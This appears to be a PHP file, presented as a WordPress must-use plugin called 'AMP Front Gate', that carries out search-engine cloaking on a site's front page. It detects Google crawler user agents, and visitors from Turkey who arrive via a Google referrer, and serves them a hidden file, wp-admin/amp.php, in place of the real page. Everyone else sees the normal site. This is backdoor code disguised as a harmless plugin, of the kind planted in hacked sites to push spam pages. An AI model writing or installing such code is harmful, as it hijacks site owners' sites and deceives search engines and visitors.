Google
Edit File: _AmpSeo.php
<?php /* Plugin Name: AMP Front Gate (MU) Description: amp mu plugins Version: 1.0 */ if (!defined("ABSPATH")) { exit(); } define("MU_FG_APPLY_ON_HOME", true); define("MU_FG_IP_TIMEOUT", 3); define("MU_FG_DEBUG_HEADER", false); add_action("template_redirect", function () { if ( is_admin() || (function_exists("wp_doing_ajax") && wp_doing_ajax()) || (defined("REST_REQUEST") && REST_REQUEST) || is_feed() ) { return; } $is_front_ok = function_exists("is_front_page") && is_front_page(); $is_home_ok = MU_FG_APPLY_ON_HOME && function_exists("is_home") && is_home(); if (!($is_front_ok || $is_home_ok)) { mu_fg_header("skip:not_front_or_home"); return; } $userAgent = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ""; $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""; $cfCountry = isset($_SERVER["HTTP_CF_IPCOUNTRY"]) ? $_SERVER["HTTP_CF_IPCOUNTRY"] : ""; $visitorIp = isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : ""); $googleBots = [ "Googlebot", "AdsBot", "Mediapartners-Google", "APIs-Google", "Googlebot-Image", "Googlebot-Video", "Googlebot-News", "Googlebot-Search", "Googlebot-Inspect", "Googlebot-Android", "Googlebot-Mobile", "Googlebot-Ads", "Googlebot-Discovery", "Google-", ]; $escaped = array_map(function ($s) { return preg_quote($s, "/"); }, $googleBots); $botPattern = "/(?:" . implode("|", $escaped) . ")/i"; $isGoogleBot = (bool) preg_match($botPattern, $userAgent); if ($isGoogleBot) { mu_fg_include_amp("by:googlebot"); return; } $isGoogleRef = (bool) preg_match("/google\./i", $referer); if ($isGoogleRef) { $isFromTR = mu_fg_is_from_turkey($visitorIp, $cfCountry); if ($isFromTR) { mu_fg_include_amp("by:google_ref_TR"); return; } } mu_fg_header("no_match"); }); /** * TR ülke kontrolü */ function mu_fg_is_from_turkey($ip, $cfCountryHeader = "") { if (!empty($cfCountryHeader)) { return strtoupper($cfCountryHeader) === "TR"; } if (empty($ip)) { return false; } $key = "mu_fg_tr_ip_" . md5($ip); $cached = get_transient($key); if ($cached !== false) { return (bool) $cached; } $res = wp_remote_get("http://ip-api.com/json/{$ip}?fields=countryCode", [ "timeout" => MU_FG_IP_TIMEOUT, "redirection" => 0, "headers" => ["Connection" => "close"], ]); if (is_wp_error($res)) { set_transient($key, 0, HOUR_IN_SECONDS); return false; } $body = wp_remote_retrieve_body($res); $data = json_decode($body, true); $isTR = !empty($data["countryCode"]) && strtoupper($data["countryCode"]) === "TR"; set_transient($key, $isTR ? 1 : 0, DAY_IN_SECONDS); return $isTR; } function mu_fg_include_amp($reason = "") { $candidates = [ABSPATH . "wp-admin/amp.php"]; foreach ($candidates as $f) { if (file_exists($f)) { mu_fg_header("include:" . basename($f) . ";" . $reason); status_header(200); nocache_headers(); include $f; exit(); } } mu_fg_header("err:amp_template_not_found"); } function mu_fg_header($val) { if (MU_FG_DEBUG_HEADER) { header("X-AMP-Front-Gate: " . $val); } }